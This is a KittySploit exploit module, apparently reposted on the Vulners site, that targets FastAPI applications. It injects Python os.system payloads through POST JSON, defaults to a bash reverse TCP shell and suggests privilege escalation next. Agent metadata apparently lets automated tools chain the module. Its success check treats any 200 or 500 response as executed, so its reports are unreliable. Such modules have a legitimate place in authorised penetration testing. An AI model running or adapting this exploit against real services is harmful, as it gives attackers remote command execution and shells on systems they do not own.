FastAPI Injection RCE
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.protocols.http.http_client import Http_client
import urllib.parse
import json
class Module(Exploit, Http_client):
__info__ = {
"name": "FastAPI Injection RCE",
"description": "Remote Code Execution exploit for FastAPI applications including template injection and code injection vulnerabilities",
"author": "KittySploit Team",
"cve": [],
"arch": [Arch.X86, Arch.X64],
"platform": Platform.MULTI,
"category": "singles",
"payload": {
"default": "payloads/singles/cmd/unix/bash_reverse_tcp",
"arch": "cmd",
"platform": ["unix", "linux"],
"category": "singles",
},
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
},
}
exploit_path = OptString("/", "Path to vulnerable endpoint", required=False)
command_param = OptString("cmd", "Parameter name for command injection", required=False)
def check(self):
"""
Check if target is FastAPI
"""
try:
response = self.http_request(method="GET", path="/docs")
if response and response.status_code == 200:
if 'swagger' in response.text.lower() or 'fastapi' in response.text.lower():
return {
'vulnerable': True,
'reason': 'FastAPI detected',
'confidence': 'high'
}
return {
'vulnerable': False,
'reason': 'FastAPI not detected',
'confidence': 'low'
}
except Exception as e:
return {
'vulnerable': False,
'reason': f'Check failed: {str(e)}',
'confidence': 'low'
}
def run(self):
"""
Execute the exploit
"""
try:
print_status("Attempting FastAPI injection exploit...")
path = self.exploit_path if self.exploit_path else "/"
param = self.command_param if self.command_param else "cmd"
command = self.payload
# Try Python code injection
python_payload = f"__import__('os').system('{command}')"
# Try different injection methods
payloads = [
{param: python_payload},
{param: f"eval(__import__('os').system('{command}'))"},
{param: f"exec(__import__('os').system('{command}'))"},
]
for payload_data in payloads:
print_info(f"Trying payload...")
# Try POST with JSON
headers = {'Content-Type': 'application/json'}
response = self.http_request(
method="POST",
path=path,
json=payload_data,
headers=headers,
allow_redirects=False,
timeout=10
)
if response and response.status_code in [200, 500]:
print_success("Command executed successfully")
self.vulnerable()
return True
print_error("Exploitation failed")
self.not_vulnerable()
return False
except Exception as e:
print_error(f"Exploitation failed: {e}")
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Jul 2026 11:31Current
6Medium risk
Vulners AI Score6